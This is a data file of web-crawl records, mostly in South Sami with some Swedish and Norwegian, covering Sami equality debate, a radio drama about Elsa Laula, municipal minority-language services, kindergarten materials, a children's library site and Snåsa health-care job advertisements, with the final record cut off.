ræhpas årrodh etnisiteeten, seksuelle vaaksjoehtimmien jïh funksjovnegiehpiedimmiej bïjre. Ræhpas årrodh sïerredimmien jïh aassjoelahtestimmiej bïjre mejtie saemieh leah dååjreme gellie tjuetie jaepieh, sïejhme sjïdteme jeenjesidie. Saemieh rudtjem sïejkedieh jïh eah sïjhth åvtelh-aarvoeh edtjieh sijjem narrahtidh, ij saemien seabradahken sisnjelen jallh jienebelåhkoeseabradahkeste. Vielie ræhpasvoete jïh feerhmeme mïrrestallemedigkiedimmesne lea bielie aktede daerpies demokratiseradimmieprosjekteste Saepmesne.\nSaemien nyjsenæjjah jïjtjemse öörnedin joe 1910. Brovresen saemien nyjsenesiebrie tseegkesovvi nænnoes nyjsenijstie mah dam voestes saemien rïjhketjåanghkoem öörnedin, saemietjåanghkoe 1917. Elsa Laula Renberg lij akte dejstie gujnijste njueniehkisnie mah joekoen nyjsenidie heesti saemien aamhtesi åvteste barkedh. Mænngan saemien nyjsenesiebrieh tseegkesovvin, Sámi NissonForum jïh Sáráhkká. Dah vihkeles dåarjoem mïrrestallemegæmhpoje vadteme.\nVoestes reektestimmie mïrrestallemen bïjre Saemiedigkesne gïetesovvi stoerretjåanghkosne 2004. Tjoelemïrrestalleme, gæmhpoe vædtsoesvoeten vööste jïh toleraanse ovmessie seksuelle legningi åvteste lin suerkieh mejgujmie Saemiedigkie barki. Don mænngan Saemiedigkien barkoe jïjtjemse evtiedamme guktie aaj mïrrestallemen bïjre almetjidie funksjovnegiehpiedimmine jïh barkoe aassjoelahtestimmiej jïh aassjoekriminaliteeten vööste.\nReakta årrodh gie lea jïh iehtsedh gïem sæjhta leah vihkele. Ij guhte edtjh gaertjiedimmieh dååjredh sov tjoelen jallh funksjovnemaahtoen gaavhtan. Mov sjaavnjoe lea saemien seabradahke edtja ræhpas jïh feerhmeles årrodh gaajhkesidie. Mijjieh gellievoetem mijjen gaskem daarpesjibie jïh gaajhkesidie daarpesjibie juktie garmeres åålmeginie båetijen aejkien sïjse vaedtsedh.\nÅvtelh-aarvoeh jïh narrahtimmie sijjen våaromem utnieh daaroedehtiemisnie jïh dïedtelgimmesne mah gellie tjuetie jaepieh vaaseme. Daan biejjien vuejnebe saemieh eah vielie narrahtimmieh jïh aajhtoeh jååhkesjh. Ahkedh jienebh ræhpaslaakan soptsestieh maam sijjieh leah dååjreme, jïh leah meatan dïedtem bïejedh dïsse mij vestieslaakan dåemede jïh narrehte. Mijjieh garmeres åålmege. Mïrrestallemebarkoe lea mij akt maam ektesne darjobe, akti akti jïh goh seabradahke.\nBli med i debatten i Trøndelag!","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.tronderdebatt.no\/staalehke-aalmege\/o\/5-122-13230","date":"2021-01-21T21:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527850.55\/warc\/CC-MAIN-20210121194330-20210121224330-00762.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":318,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elsa i Saajve-gånkan rïjhkesne, voestes bielie: tjaetsien nuelesne\nRaajroen bïjre\nElsa Saajve-gånkan rïjhkesne lea gieltegs jïh magihkeles heamture Elsa Laulan bïjre, gie pryövoe sov aehtjie jïh onnevïelle beerkedh, mij saajve-gånkan rïjhkesne dabranamme. Akte jaevrien nuelesne.\nElsa Laula gååvnesi\nSoptsestimmiem lea akte heamture. Bene Elsa Laula aarebi gååvnesi. Dïhte akte eadtjohke, vihkeles nyjsenæjja mij saemiej reaktaj åvteste barki, abpe sov jieliemisnie.\nSaajve-veartene\nHeamturisnie Elsa Saajve-gånkam råaka. Dïhte jïjtje rïjhkesne orre. Saajve lea aelhkemes goh parallelle veartene buerkiestidh. Akte veartene mesnie ovmessie saemien aejlies veasomh jïh voejkenh årroeh.\nSaajve pråvhkoe tjaebpies sijjie årrodh. Bene geerve lea, vearteni gaske baalkerdidh. Dïhte lij maam-akt mij barre nåejtieh meehtin. Saajve-almetjh eevre faavroes lin, jïh dej ealoeh lin veelkes.\nRïektes veartene jïh heamture plotnesjægan\nMaanaradijoven heamture Elsa Laulan bïjre ovmessie aath saemien mytologijeste plotnesje, seamma aejkesne goh bielieh Elsa Laulan rïektes jieliemistie meatan. Numhtie heamturem dovne fiktijve jïh saetnies seamma aekjesne sjædta.\nHeamturem maahta aaj åssjalommh gåaskodh guktie lea noere saemie daenbien årrodh. Seamma goh Elsa, saemien maanah tjuerieh göökte veartaninie jieledh. Saemien veartene, jïh daaroen veartene. Jïh ij dïhte iktesth dan aelhkie.\n100 jaepieh heevehtimmie\nHeamturisnie Elsa Laula dovne prievieh jïh gærjah tjaala. Dïhte rïektes veartanisnie aaj tjeeli. Dïhte aaj Elsa gie voestes saemien laantetjåanghkoem Tråantesne øørnesovvi, 1917. Heamturisnie \"Tjåanghkoe njieljie bïegki gaske\" gohtje. Dïhte tjåanghkoe tjuetie jaepieh 2017 heevehte.\nTjaelije: Johan Sandberg Mcguinne jïh Anne Wuolab\nDorjehtæjja: Máret Steinfjell\nIllustratöre: Emma Fox Sandberg\nBuektiehtæjjah: Jenny Israelsson Skoglund\n-\n06.54Johan Anders Bær - Verdde - Guest FriendAlbum: Verdde - Guest FriendBolag: Dat","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/sverigesradio.se\/avsnitt\/1101730","date":"2021-03-07T07:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178376144.64\/warc\/CC-MAIN-20210307044328-20210307074328-00479.warc.gz","language":"sma","language_score":0.9997794032,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9997794032096863}","num_words":240,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Medborgardialog med samer, romer, judar, sverigefinnar och tornedalingar\nSamer, romer, judar, sverigefinnar och tornedalingar har enligt Lag om nationella minoriteter och minoritetsspråk vissa rättigheter till inflytande och delaktighet, information och myndighetskontakter, språk och kultur, förskola samt äldreomsorg.\nÖstersunds kommun arbetar nu fram en riktlinje för vårt minoritetspolitiska arbete. I den processen vill vi höra just dina synpunkter!\nVarmt välkommen till medborgardialog i form av ett digitalt möte 21 april klockan 18.00-20.00 med Camilla Olofsson och Patricia Fjellgren från Kommunledningsförvaltningen.\nAnmäl dig till email@example.com eller Kundcenter på telefon 063-14 30 00. Meddela samtidigt om du vill ha tolkning till meänkieli, romani chib, finska, jiddisch, sydsamiska eller nordsamiska under mötet. Du får en länk till mötet per e-post.\nVälkommen!\nSaemien, romeren, judaren, svöörjesåevmien jih tornedalen almetjigujmi soptsestalledh\nSaemieh, romerh, judarh, svöörjesåevmien- jïh tornedalen almetjh reaktah utnieh gïelem jih kultuvrem, inflytande och delaktighet, bïevnesidie jïh myndigheete-gaskesadtemem, aarhskuvlem jïh voereshoksem laaken nasjovnelle unnebehåhkoej jïh unnebelåhkoej gïeli mietie nuhtjedh. Staaren tjïelte lea strategijem darjoeminie guktie tjïelte edtja unnebelåhkoepolitïhkijne barkedh. Mijjieh sïjhtebe daejredh mij leah dutnjien vihkeles.\nBuerie båeteme digitaale tjåanghkose voerhtjen 21.b ts.18.00-20.00\nBïeljelh firstname.lastname@example.org jallh ringkh Dïenesjejarngese tel. 063-14 30 00 jis sïjhth meatan årrodh. Bïeljelh aaj jis meänkielese, romani chibese, såevmien gïelese, åarjelsaemien gïelese jallh noerhtesaemien gïelese toelkemem sïjhth. Mijjieh tjåanghkoe-svaalthesem e-påastine dutnjien seedtebe gosse datne tjåanghkoese bïeljelamme.\nBuerie båeteme!","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.ostersund.se\/om-webbplatsen\/nyhetsarkiv\/nyhetsarkiv\/2021-04-15-medborgardialog-med-samer-romer-judar-sverigefinnar-och-tornedalingar.html","date":"2021-05-14T11:45:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243990449.41\/warc\/CC-MAIN-20210514091252-20210514121252-00205.warc.gz","language":"sma","language_score":0.8012655377,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.8012655377388, \"swe_Latn_score\": 0.17991900444030762, \"sme_Latn_score\": 0.011467177420854568}","num_words":209,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.836,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Dan gaavhtan ahkedh jienebh åarjelsaemien maanah leah maanagïertine, lea vihkele mijjieh dam dåarjoehtibie åarjelsaemien pedagogeles materijelline maanagïertine, Mikkel Eskil Mikkelsen jeahta. Mikkel Eskil Mikkelsen (NSR)\nDåarjoe vadtasovveme 1. jïh 2. bielieprosjektese, gusnie teema Gïjre jïh gïjregiesie – darjomh mah ektiedimmiem utnieh gïjreboelhkese jïh Giesie jïh tjaktjegiesie – darjomh mah ektiedimmiem utnieh giesieboelhkese. Daajepaahke edtja vuesiehtidh guktie saemieh eatnemem reerieh jïh dam vierhtine nuhtjieh båatsoejaepien tjïrrh.\nLearoevierhtie lea teemaj bïjre jïh sæjhta tjeekedh teeksth, tjoejefijlh, guvvieh\/illustrasjovnh, filmestuhtjetjh jïh daeverh. Daajepaahke edtja njaalmeldh darjomh jïh gïeleåtnoem eevtjedh. Learoevierhtie lea jienebi faagesuerkiej bïjre mieriesoejkesjisnie jïh ovmessie aaltaridie sjeahta maanagïertesne.\nFåantoe man åvteste ussjedamme daam learoevierhtiem darjodh lea daerpiesvoeth jïh sjaavnjoeh maanagïertijste mah åarjelsaemien gïeline berkieh Rørosesne jïh Snåasesne. Daan biejjien jïjnje pedagogeles materijelle fååtese mij åarjelsaemien gïelese jïh kultuvrese sjeahta.\n- Mijjieh tuhtjebe joekoen hijven faagebyjresh jïh maanagïerth åarjelsaemien dajvesne edtjieh ektesne pedagogeles materijellem evtiedidh åarjelsaemien perspektijven mietie, Mikkel Eskil Mikkelsen jeahta.\nProsjekte lea laavenjostoe göökte åarjelsaemien faagebyjresi gaskem, Gïelem nastedh jïh Aajege, gusnie aaj laavenjostoem tseegkeme Suaja maanagïertine jïh Luvlege maanagïertine, goevtese Svaale.\n- Lahkoe barkojne, Saemiedigkieraerie lea aavone mijjieh maehtebe daam prosjektem dåarjodh, Mikkelsen minngemes jeahta.\nSaemiedigkieraerie vierhtieh prosjektese dåårje dåarjoeöörnegen bijjelen Dåarjoe evtiedæmman pedagogeles materijellese maanagïertide.\nJis gihtjehtimmiem sïjhth gaskesadth Mikkel Eskil Mikkelsen, mob. +47 917 42 161.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/sametinget.no\/saernieh\/aarjelsaemien-pedagogeles-materijelle-maanagiertide.16202.aspx","date":"2021-09-25T01:02:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057584.91\/warc\/CC-MAIN-20210924231621-20210925021621-00383.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":198,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voereshokse\nKraapohken tjïelte saemien reeremetjïelte tsiengelen 1:s biejjien 2012 sjïdti. Naemhtie juktie saemieh reaktam utnieh voereshoksese abpe jallh vihkeles biehkie saemiengïelesne naemhtie guktie Laake nasjonelle unnebelåhkoej jïh unnebelåhkoegïelen bïjre tjåådtje, SFS 2009:724.\nKraapohken tjïelte edtja satnem faaledh mij vaajta abpe jallh vihkeles biehkie hoksehtimmeste jïh hoksem mij voereshoksesne faalen barkijijstie mah saemiengïelem maehtieh. Tjïeltesne saemienprofileereme voereshoksem darjoen sjïere årromesijjesne, Skogsforsen goevtesisnie.\n18 § Akte tjïelte mij reeremedajvesne edtja dïsse faaledh mij bihkede nuepiem abpe jallh vihkeles biehkie hoksehtimmeste jïh såjhtoste voereshoksesne, barkijijstie mah såevmiengïele, meängïele jïh saemiengïele maehtieh.\n18a§ Akte tjïelte mij ij leah reeremedajvesne edtja dïsse faaledh mij bihkede nuepiem abpe jallh vihkeles biehkie hoksehtimmeste jïh såjhtoste voereshoksesne mah faalen, barkijijstie mah såevmiengïele, jiddische, meängïele, romani chibe jïh saemiengïele maehtieh, jis tjïelte barkijh åtna daej gïelemaahtoejgujmie. Seamma lea akten tjïeltese mij reeremedajvesne sjïere gïeline, jeatjah gïeli bïjre.\n18b§ Tjïelte edtja naemhtie hoksesne mij faalen guktie 18 jïh18 a §§ tjåådtje ussjedidh båeriesalmetji daerpiesvoeti bïjre, dej kulturelle identiteetem vaarjelidh.\n18c§ Tjïelte edtja bievnedh dïsse mij viehkien mietie voereshoksesne syökoe, nuepiem ihke hoksehtimmiem jïh såjhtoem åadtjodh gusnie 18 jïh 18a §§ tjåådtje.\nSosiaaledïenesjelaake 2001:453 tjaala ahte tjïelte edtja barkedh ihke jaksoesvoete barkijidie maahtoejgujmie gååvnese såevmiengïelesne,jiddishesne, meängïelesne, romani chibesne jallh saemiengïelesne gusnie såjhtosne båeriesalmetjigujmie daerpies lea.\nReaktam unnebelåhkoegïelem voereshoksesne nuhtjedh lea ovmessie gaevhtijste vihkeles lea. Voestegh vihkeles barkijigujmie buektiehtidh soptsestidh. Båeriesalmetjh mah unnebe jallh eah naan maahtoem daaroengïelesne utnieh edtjieh daerpiesvoeth jïh vaajtelassh buektiehtidh saarnodh jïh ij daarpesjidh vuesiehtimmien gaavhtan åeliej tjïrrh vaedtsedh. Sïejhme gujht ahte almetjh gosse båeries sjidtieh eah buektedh jeatjah gïelh soptsestidh jïh guarkedh enn altese ietniengïele.\nByjresisnie årrodh gusnie barkijh jïh årrojh akte ietniengïele soptsestieh jïh ektivoeten dååjrehtsh utnieh lea vihkeles dïsse mij voeres jïh kaanne madtan lea. Dellie ij leah ajve gïelen biehkie menh aaj dah kulturelle symbovlh jïh vyörtegsvoeth gaajh vihkeles.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.dorotea.se\/saepmie\/voereshokse-aeldreomsorg\/voereshokse\/","date":"2021-09-21T08:02:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057199.49\/warc\/CC-MAIN-20210921070944-20210921100944-00564.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":286,"character_repetition_ratio":0.081,"word_repetition_ratio":0.043,"special_characters_ratio":0.149,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skïemtjesåjhtere 2 x ihkuve 100 % sujhteme jih hoksesne\n2016 raejeste hïejmedïenesje jïh skïemtjegåetie tjåanghkan bïejesovvin akten ektievoetese, dejnie ulmine elliesåbpoe dïenesjen bïjre.\nSujhteme- jïh hoksedïenesje jeereldihkie laavenjassh jïh utnijh faalehte. Ij leah naan aaltereraaste mijjen dïenesjh dåastodh. Dïenesje lea ahkedh evtiedimmesne jïh sjïdtedimmesne, jïh destie aaj orrestamme daajroem reeblebe. Dellie daerpies jarkelimmine jïh destie mijjieh kreatijve, faageles veaksehks jïh mavvas meatanbarkijh åadtjobe. Mijjieh datnem ohtsebe mij sæjhta meatan årrodh båetijen aejkien sïjse barkedh gusnie dovne tryjjesvoeteteknologije\/haalvemeteknologije jïh aarkebiejjien rehabiliteereme leah jarngesne. Jeereldihkie laavenjassh. Daerpies jïjtjeraarehke barkedh seamma tïjjen goh jienebh dejstie laavenjassijste lïhke laavenjostosne meatanbarkijigujmie dorjesuvvieh.\nMijjieh daelie skïemtjeeåjhterh ohtsebe mah uvtemes edtjieh skïemtjegåetesne barkedh, men aaj leah vyljehke viehkine årrodh hïejmedïenesjisnie jis lea desnie maahtoe lea daerpies.\nDaelie turnusem 2 bieline juakeme, barkojne fïerhten 3. hïeljen.\nLaavenjassh:\n- Ahkedh utnijh jïh dej lïhke fuelhkiem dåarjoehtidh\n- Meatan årrodh dam faageles kvaliteetem dïenesjisnie evtiedidh\n- Barkoeguejmieh\/studeenth\/learohkh bïhkedidh\nKvalifikasjovnh:\n- Jååhkesjamme autorisasjovne goh skïemtjesåjhtere\n- Hijven IKT-daajroeh\n- Væjkele laavenjostedh jïh gaskesadtedh maaje dååjrehtimmine faagi dåaresth laavenjostoste\n- Skraejriem åtna almetjigujmie barkedh jïh ïedtjem åtna faageste\n- Barkoevyljehke jïh haestemh lyjhkoe\n- Fleksibiliteete barkoesijjien jïh barkoetïjjen bïjre\n- Væjkele jorkesidh\n- Vuejemeleahpa bïjlese\nPersovneles sjiehtelesvoete sæjhta vihkele årrodh.\nMijjieh faalehtibie:\n- Hijven jïh gieltege barkoebyjrese mij evtiedimmiem jarngesne åtna\n- Jeereldihkie barkoelaavenjassh\n- Hijven lïerehtimmie\n- Baalhka sentraale baalhka- jïh barkoeregulativen mietie\nBaalhka kvalifikasjovni jïh latjkoen mietie. Vielie bïevnesh barkoen bïjre åadtjoeh jis skïemtjegåetien goevteseåvtehkinie soptsesth; Ann Elin Øverli 990 18 604\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïele- jïh kultuvremaahtojne. Jis nyjsenæjjah jïh ålmah seamma maahtoem utnieh sïjhtebe veeljedh dam tjoelem mij unnebelåhkosne.\nTjoerh ohtsemisnie bievnedh mejtie sïjhth jeatjah barkoeh ohtsedh dastegh sisnjelds jarkelimmieh sjædta.\nOhtsememierie: 12.10.21\n__________________________________________________________________\nSykepleier 2 x 100% fast i pleie og omsorg\nFra 2016 ble hjemmetjenesten og sykehjemmet slått sammen til en enhet med mål om en mer helhetlig tjeneste.\nPleie og omsorgstjenesten byr på mange varierte oppgaver og brukere. Det finnes ingen aldersgrense for å motta våre tjenester. Tjenesten er i konstant utvikling og vekst, og det bidrar til å holde oss oppdaterte. Det forutsetter endringsvilje og bidrar til kreative, faglig sterke og modige medarbeidere. Vi ser etter deg som vil være med å jobbe inn i framtiden hvor både velferdsteknologi\/mestringsteknologi og hverdagsrehabilitering står i fokus. Arbeidsoppgavene er varierte. Det kreves selvstendighet samtidig som mange av oppgavene skjer i nært samarbeid med medarbeiderne.\nVi søker nå etter sykepleiere som fortrinnsvis kommer til å jobbe på sykeheimen, men som også er åpen for å bidra ut i hjemmetjenesten om det er der kompetansen trengs.\nPr tiden er det 2-delt turnus med arbeid 3. hver helg.\nOppgaver:\n- Kontinuerlig oppfølging av brukere og deres pårørende\n- Være med på å utvikle den faglige kvaliteten på tjenesten\n- Veilede kollegaer\/studenter\/elever\nKvalifikasjoner:\n- Godkjent autorisasjon som sykepleier\n- Gode IKT-kunnskaper\n- Gode samarbeids- og kommunikasjonsevner gjerne med erfaring fra tverrfaglig samarbeid\n- Motivert for å jobbe med mennesker og engasjert i faget\n- Stå på vilje og glad i utfordringer\n- Fleksibilitet i forhold til arbeidssted og arbeidstid\n- Omstillingsdyktig\n- Førerkort for personbil\nPersonlig egnethet vil bli vektlagt.\nVi tilbyr:\n- Et godt og spennende arbeidsmiljø med fokus på utvikling\n- Varierte arbeidsoppgaver\n- God opplæring\n- Lønn etter sentralt lønns- og stillingsregulativ\nLønn etter kvalifikasjoner og avtale. Nærmere opplysninger om stillingen fås ved henvendelse til avdelingsleder sykeheimen; Ann Elin Øverli 990 18 604\nSom tospråklig kommune ønsker Snåsa kommune også å rekruttere inn personer med sørsamisk språk og kulturkompetanse. Under ellers like vilkår vil underrepresentert kjønn bli foretrukket.\nDet må opplyses i søknaden om du ønsker søke på andre stillinger tilfelle interne rokeringer.\nSøknadsfrist: 12.10.21","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/sykepleier-2-x-100-fast-i-pleie-og-omsorg.11776.aspx","date":"2021-10-17T06:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585121.30\/warc\/CC-MAIN-20211017052025-20211017082025-00182.warc.gz","language":"sma","language_score":0.9593292475,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9593292474746704, \"nob_Latn_score\": 0.03159831091761589}","num_words":555,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavlomegærjetje Saemesth maanineLaavlomegærjetje smaave maanide, åehpies saemien laavloejgujmie. Gærjetje lea dovne noerhte-, julev- jïh åarjelsaemiengïelesne. Maanah lyjhkoeh gïeline stååkedidh. Laavlomh, rijmh jïh reeglah leah hijven viehkie dïsse. Laavlodh jïh baakoeh jievkehtimmine lohkedh vååjnoe goh hijven viehkie mojhtesasse årrodh. Maanah gïelem lierieh jïh guktie edtjieh baakojde jiehtedh gosse åadtjoeh gïeline lustestalledh. Laavlomegærjetje Saemesth maanine (PDF, 2 MB) Laavlomegærjesne libie såemies laavlomh tjöönghkeme mah smaave maanide sjiehtieh. Daesnie laavlomh dovne noerhte-, åarjel- jïh julevsaemien gïelesne. Laavlomh leah veedtjeme laavlomegærjijste luhpiedimmien mietie bertemijstie. Reaktaaajhterh daejtie laavloemidie leah bertemh jïh\/jallh tjaelijh\/jarkoestæjjah. SistEndret01.07.2021 08.50","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/maanagierte\/nuhteligs-vierhtieh\/laavlomegarjetje-saemesth-maanine\/","date":"2021-12-08T12:41:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00124.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":87,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nBuerie båeteme Polarbibblose!\nMan luste datne daesnie! Mijjese maahtah teeksth, gærjahsaernieh jïh guvvieh seedtedh jïh sajtese bïejesovvedh. Jallh sïjhth memory spealadidh jallh quiz darjodh? Aaj maahtah jeatjaj maanaj teeksth lohkedh jïh dej guvvieh vuartasjidh.\nJis dov lea utnije mijjen luvnie maahtah meatan mijjen vuerpesne årrodh. Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie.\nGegkiestibie lustem mijjen ektine åtnah!\nDåeredh magihkem heevehth!\nDellie maa Polarbibblo gååvnese meänkieli jïh saemien gïeline!\nNemhtie Polar-snjågloe jïh gaajhkh orre gïelevoelph sijhtieh dijjine ektine eensilaakan heevehtidh. Vaeltede dijjen tråalle-klaahkide juktie daelie jïjnjh MAGIHKE Polarbibblosne sjædta! Mijjieh tsïengelen gaskese heevehtibie.\nManne leam hujnies, manne sïjhtem klaeriedidh. Mannasinnie sïjht klaeriedidh? Lea luste, OK?! \"Britt-Marie 2.0\"\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...\nNov dån daajrah mijjen lea Vuerpie daesnie Polarbibblosne? Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie. Fïerhten aamhtesem maam mijjese seedteme lea akte vuerpie. Dellie tjoerh måjhtajidh kontom daarpesjh jis sïjhth meatan årrodh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.polarbibblo.se\/sma-se\/","date":"2021-12-09T01:05:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363641.20\/warc\/CC-MAIN-20211209000407-20211209030407-00327.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":169,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåasen tjïelte\/Snåsa kommune akte tjïelte Trööndelagesne medtie 2.000 årrojigujmie, Snåasenjaevrien noerhtege jïh luvlielisnie. Tjïelten jarnge jïh doh jeanatjommes gåetieh leah Snåasenjaevrien noerhtemehkesne. Snåase lea guektiengïeleldh jïh guektienkultuvrelle tjïelte jarngine åarjelsaemien gïelese jïh kultuvrese.\nEatneme lea vijries Sveerjen raasten vööste luvlielisnie, gusnie aaj stoerre dajvh mah leah nasjonaalepaarhke. Daesnie ræjhkoes nuepieh ålkone mïnnedh, vijredh jïh gööledh. Kommunikasjovnh leah hijven geajnojne jïh ruevtieraajrojne tjïelten tjïrrh jïh medtie 2 tæjmoeh girtiesæjjan\/Værnes bïjline.\nStaeriesdåaktere Snåasesne 0-latjkojne jallh staeriesbaalhkine\nAkte mijjen dåaktarijstie orreje jïh pensjovnistine sjædta suehpeden 2022. Snåasen tjïelte dåakterem ohtsede, 100 % ihkuve sïejhmepraksisinie mij aalka 01.06.22 jallh dan varke gåarede dan biejjien mænngan.\nBarkoe lea bïejesovveme Snåasen dåakterekontovrese. Dåakterekontovresne 3,0 jaepiebarkoeh (daejnie barkojne), staeriesdåaktarasse jïh akten turnusdåaktarasse. Snåasen tjïelte dåakterekontovrem eekie jïh jåhta viehkiebarkijigujmie, skïemtjesåjhterigujmie jïh healsoetjaeliejinie, jïh tjïelte dejtie seehtie jïh baalhkam dejtie maaksa. Tjïelte dïenesjem jåhta jïh lea seamma stoerre goh betniedåarjoe\/per capita-dåarjoe.\nSnåasen Dåakterekontovre bueriedamme, stueriedamme jïh jarkelamme sjïdti, jïh orre kontovrh lin gaervies medtie 01.01.13.\nDaelie hjemmele jåhta goh privaate praksise tjïelten gïehtelimslatjkojne læstoedïedtine latjkoen mietie. Hjemmelen læstoestoeredahke lea 700 skïemtjijh. Hjemmele aaj dïedtem åtna byøgkeles dåakterebarkoen åvteste goh healsoestasjovnedåaktere. Jis vaajteles maahta tjïeltine rååresjidh staeries baalhkalatjkoen bïjre, jallh staeriesbaalhka insentijvine..\nMijjieh sjïeredåakterem ohtsebe sïejhmemedisijnesne jallh dåaktere mij sæjhta jïjtjemse spesialiseradidh sïejhmemedisijnesne. Dåaktarasse mij sæjhta jååhkesjimmiem åadtjodh goh sjïeredåaktere sïejhmemedisijnesne, tjïelte sæjhta sjïehteladtedh ihke dagkeres ööhpehtimmie maahta maereleslaakan sjugniehtovvedh. Edtja åajvahkommes syökedh maaksoeh spesialiseeremasse sïejhmemedisijnesne foenteste maeksedh staateles latjkoen mietie (staatelatjkoe).\nSnåasen tjïelte latjkoem åtna Stïentjen dåakterevaeptine gasketjïelten dåakterevaeptien bïjre iehkedi, jïjji jïh hïelji, jïh obligatovreles meatan årrodh vaeptieöörnegisnie. Vaeptieöörnege lea medtie 18 åesine juakasovveme jïh lea ovrehte golme vaeptieh mah ryöhkoeh 12 tæjmoeh, fïerhten asken. Dåakterevaeptielaavenjostoe lea Stïentjen dåakterevaeptesne mij lea 6 mïjlh åarjese. Biejjiedåakterevaeptie Snåasesne lea gaskem 08.00-15.30 aarkebiejjiej jïh tjïelten dåakterh dam vaeptien sijjen gaskem juekieh.\nOhtsijh tjuerieh kvalifiseradamme årrodh nöörjen autorisasjovnine jïh leavloe bïejesåvva faageles maahtose, dååjrehtæmman, persovneles sjïehtelesvoetese jïh mejtie ohtsije lea væjkele laavenjostedh.\nDaerpies hijven daajrojne nöörjen gïelesne.\nOhtsije tjuara vuejemeleahpam utnedh jïh maehtedh jïjtse bïjlem nuhtjedh dïenesjisnie.\nVielie bïevnesh barkoen bïjre åådtje jis gaskesadth ass.tjïelten åejviedåaktere\/staeriesdåaktere Magnus Tølløv Kjøbli tlf. 74138350 \/ 90799113 jallh Ektievoeten åvtehke Fuelhkiejarnge Ragnhild Moum Agle tlf 74138305 \/99583727\nGoh guektiengïeleldh tjïelte Snåasen tjïelte aaj sæjhta almetjh dåårrehtidh åarjelsaemien gïeline jïh kultuvremaahtojne.\nÅvtelen barkosne aalka tjuara orre vihtiestimmiem polliseste buektedh Healsoe- jïh hoksedïenesjelaaken § 5-4, mietie 1. lïhtse.\nOhtsememierie 08.12.21\n________________________________________________________\nSnåsa Kommune\/Snåasen Tjielte er en kommune med ca. 2.000 innbyggere, beliggende i Nord-Trøndelag, nord og øst for Snåsavatnet. Sentrum og det meste av bebyggelse ligger i nordenden av Snåsavatnet. Snåsa er tospråklig og tokulturell kommune med senter for Sørsamisk språk og kultur. Landskapet er preget av brede bygder mellom skogområder som går over i åser og fjell. Fjellområdene 